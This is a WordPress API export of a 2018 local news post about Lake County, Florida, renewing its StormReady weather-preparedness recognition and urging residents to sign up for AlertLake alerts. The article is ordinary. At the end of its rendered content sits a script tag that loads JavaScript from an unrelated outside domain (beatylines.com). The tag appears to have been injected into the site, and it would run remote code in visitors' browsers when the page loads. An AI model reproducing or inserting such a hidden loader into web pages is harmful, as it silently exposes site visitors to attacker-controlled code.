{"id":219670,"date":"2018-08-22T14:05:14","date_gmt":"2018-08-22T18:05:14","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=219670"},"modified":"2018-08-22T14:05:14","modified_gmt":"2018-08-22T18:05:14","slug":"lake-county-is-recognized-for-emergency-preparedness","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/lake-county-is-recognized-for-emergency-preparedness\/","title":{"rendered":"Lake County is recognized for emergency preparedness"},"content":{"rendered":"<p class=\"m_7323382236892949604MsoBodyText\"><b>TAVARES, Fla.\u00a0<\/b><span lang=\"X-NONE\">\u2014\u00a0<\/span>Lake County continues to achieve a high level of community readiness in the event of a natural disaster and promotes enhanced public education of potential dangers.<u><\/u><u><\/u><\/p>\n<p class=\"m_7323382236892949604MsoBodyText\">That\u2019s according to the Melbourne National Weather Service (NWS) StormReady\u00ae Advisory Board, which has renewed Lake County\u2019s StormReady\u00ae recognition. First attained in 2003, it will remain in effect through\u00a0<span class=\"aBn\" tabindex=\"0\" data-term=\"goog_1244770620\"><span class=\"aQJ\">Aug. 12, 2021<\/span><\/span>.<u><\/u><u><\/u><\/p>\n<p class=\"m_7323382236892949604MsoBodyText\">\u201cThe communication infrastructure and level of severe weather readiness throughout the county will undoubtedly minimize the loss of life and property in the future,\u201d reads a letter written by Scott Spratt, Warning Coordination Meteorologist with the National Weather Service. \u201cThe severe weather procedures currently in place throughout the county far exceed the minimum requirements of the StormReady\u00ae program.\u201d<u><\/u><u><\/u><\/p>\n<p class=\"m_7323382236892949604MsoBodyText\">Some of the requirement to be StormReady\u00ae include establishing a 24-hour warning point and emergency operations center; having more than one way to receive severe weather warnings and forecasts and to alert the public, creating a system that monitors weather conditions locally, promoting the importance of public readiness through community seminars; and developing a formal hazardous weather plan, which includes training severe weather spotters and holding emergency exercises. In fact, Lake County recently partnered with the National Weather Service to train 65 new SKYWARN weather spotters.<u><\/u><u><\/u><\/p>\n<p class=\"m_7323382236892949604MsoBodyText\">While the county continues to work to educate employees, partner agencies and local citizens about hazardous weather, there are steps citizens can take now to help safeguard themselves from their impacts.<u><\/u><u><\/u><\/p>\n<p class=\"m_7323382236892949604MsoBodyText\">\u201cThe Atlantic hurricane season is typically at its busiest between now and the end of October, with the hurricane season ending\u00a0<span class=\"aBn\" tabindex=\"0\" data-term=\"goog_1244770621\"><span class=\"aQJ\">Nov. 30<\/span><\/span>,\u201d said Tommy Carpenter, Director of the Lake County Office of Emergency Management. \u201cWhile it is good news that the Atlantic hurricane season forecast has been lowered, please remember, \u2018it only takes one!\u2019 Our office strongly encourages all<u><\/u><u><\/u><\/p>\n<p class=\"m_7323382236892949604MsoBodyText\">community stakeholders to be aware of local and tropical weather conditions, maintain personal and professional preparedness, and register with AlertLake.\u201d<u><\/u><u><\/u><\/p>\n<p class=\"m_7323382236892949604MsoBodyText\">AlertLake is Lake County\u2019s emergency notification system that can provide important information regarding severe weather and public safety emergencies. Registration is fast and free at\u00a0<a href=\"http:\/\/www.alertlake.com\/\" target=\"_blank\" rel=\"noopener\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.alertlake.com&amp;source=gmail&amp;ust=1535047285024000&amp;usg=AFQjCNEXdhSKXYubpLhepzxh-u9nI6uXsA\">www.alertlake.com<\/a>.<\/p>\n<p><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TAVARES, Fla.\u00a0\u2014\u00a0Lake County continues to achieve a high level of community readiness in the event of a natural disaster and promotes enhanced public education of&#8230;<\/p>\n","protected":false},"author":26806,"featured_media":219671,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3246,6,1],"tags":[],"class_list":["post-219670","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-community","category-lake-county","category-local","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/stormready.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219670","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=219670"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219670\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/219671"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=219670"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=219670"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=219670"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}